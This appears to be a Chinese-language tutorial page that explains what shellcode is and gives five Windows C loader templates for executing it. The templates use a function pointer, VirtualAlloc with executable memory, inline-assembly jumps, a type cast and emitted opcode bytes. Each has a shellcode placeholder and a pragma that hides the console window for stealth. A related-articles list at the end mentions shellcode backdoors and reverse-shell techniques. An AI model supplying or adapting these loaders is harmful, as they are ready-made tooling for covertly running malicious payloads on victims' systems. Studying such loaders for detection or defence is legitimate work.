shellcode执行的几种常见方式

简介: 什么是shellcode?

一、什么是shellcode?

shellcode是一小段代码,用于利用软件漏洞作为有效载荷。它之所以被称为“shellcode”,是因为它通常启动一个命令shell,攻击者可以从这个命令shell控制受损的计算机,但是执行类似任务的任何代码都可以被称为shellcode。因为有效载荷(payload)的功能不仅限于生成shell

简单来说:shellcode为16进制的机器码,是一段执行某些动作的机器码

那么,什么是机器码呢?

在百度百科中这样解释道:计算机直接使用的程序语言,其语句就是机器指令码,机器指令码是用于指挥计算机应做的操作和操作数地址的一组二进制数

简单来说:直接指挥计算机的机器指令码


二、shellcode执行的几种常见方式

1、指针执行

最常见的一种加载shellcode的方法,使用指针来执行函数

#include <Windows.h>
#include <stdio.h>
unsigned char buf[] =
"你的shellcode";
#pragma comment(linker, "/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
//windows控制台程序不出黑窗口
int main()
{
  ((void(*)(void)) & buf)();
}


2、申请动态内存加载

申请一段动态内存,然后把shellcode放进去,随后强转为一个函数类型指针,最后调用这个函数

#include <Windows.h>
#include <stdio.h>
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
//windows控制台程序不出黑窗口
int main()
{
    char shellcode[] = "你的shellcode";
    void* exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(exec, shellcode, sizeof shellcode);
    ((void(*)())exec)();
}


3、嵌入汇编加载

注:必须要x86版本的shellcode

#include <windows.h>
#include <stdio.h>
#pragma comment(linker, "/section:.data,RWE")
#pragma comment(linker, "/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
//windows控制台程序不出黑窗口
unsigned char shellcode[] = "你的shellcode";
void main()
{
  __asm
  {
    mov eax, offset shellcode
    jmp eax
  }
}


4、强制类型转换

#include <windows.h>
#include <stdio.h>
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
//windows控制台程序不出黑窗口
unsigned char buff[] = "你的shellcode";
void main()
{
  ((void(WINAPI*)(void)) & buff)();
}


5、汇编花指令

和方法3差不多

#include <windows.h>
#include <stdio.h>
#pragma comment(linker, "/section:.data,RWE")
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
//windows控制台程序不出黑窗口
unsigned char buff[] = "你的shellcode";
void main()
{
  __asm
  {   
    mov eax, offset xff;
    _emit 0xFF;
    _emit 0xE0;
  }
}


以上五种方法就是最常见的shellcode执行方式


目录
相关文章
|
1天前
|
网络协议 API Windows
MASM32v11编程调用Process32First失败: 程序发出命令,但命令长度不正确
MASM32v11编程调用Process32First失败: 程序发出命令,但命令长度不正确
|
4月前
|
Linux C++
【代码片段】Linux C++打印当前函数调用堆栈
【代码片段】Linux C++打印当前函数调用堆栈
96 0
|
存储 安全 编译器
1.8 运用C编写ShellCode代码
在笔者前几篇文章中,我们使用汇编语言并通过自定位的方法实现了一个简单的`MessageBox`弹窗功能,但由于汇编语言过于繁琐在编写效率上不仅要考验开发者的底层功底,还需要写出更多的指令集,这对于普通人来说是非常困难的,当然除了通过汇编来实现`ShellCode`的编写以外,使用C同样可以实现编写,在多数情况下读者可以直接使用C开发,只有某些环境下对ShellCode条件有极为苛刻的长度限制时才会考虑使用汇编。
52 0
|
存储 安全 Shell
1.6 编写双管道ShellCode
本文将介绍如何将`CMD`绑定到双向管道上,这是一种常用的黑客反弹技巧,可以让用户在命令行界面下与其他程序进行交互,我们将从创建管道、启动进程、传输数据等方面对这个功能进行详细讲解。此外,本文还将通过使用汇编语言一步步来实现这个可被注入的`ShellCode`后门,并以此提高代码通用性。最终,我们将通过一个实际的漏洞攻击场景来展示如何利用这个后门实现内存注入攻击。
89 0
|
存储 JavaScript
5.2 汇编语言:标志位测试指令
汇编语言是一种面向机器的低级语言,用于编写计算机程序。汇编语言与计算机机器语言非常接近,汇编语言程序可以使用符号、助记符等来代替机器语言的二进制码,但最终会被汇编器编译成计算机可执行的机器码。标志位测试指令是汇编语言中用于测试处理器标志位状态的指令。标志位是位于处理器状态寄存器中的一组特殊标志,用于指示上一个运算的结果是否为零、是否进位/借位、是否溢出等等。可以使用标志位测试指令来检查标志位的状态,并在需要时根据标志位状态进行操作。
215 0
|
存储 安全 Shell
1.6 编写双管道ShellCode后门
本文将介绍如何将`CMD`绑定到双向管道上,这是一种常用的黑客反弹技巧,可以让用户在命令行界面下与其他程序进行交互,我们将从创建管道、启动进程、传输数据等方面对这个功能进行详细讲解。此外,本文还将通过使用汇编语言一步步来实现这个可被注入的`ShellCode`后门,并以此提高代码通用性。最终,我们将通过一个实际的漏洞攻击场景来展示如何利用这个后门实现内存注入攻击。
71 0
|
Linux
LINUX下用C调用系统命令,并读取执行结果的代码
LINUX下用C调用系统命令,并读取执行结果的代码
116 0
|
存储 编译器 API
Win32汇编:过程与宏调用
在计算机领域,堆栈是一个不容忽视的概念,堆栈是一种`后进先出(LIFO,Last-In,First-Out)`的数据结构,这是因为最后压入堆栈的值总是最先被取出,而新数值在执行PUSH压栈时总是被加到堆栈的最顶端,数据也总是从堆栈的最顶端被取出,堆栈是个`特殊的存储区`,主要功能是暂时存放数据和地址,通常用来保护断点和现场.
105 0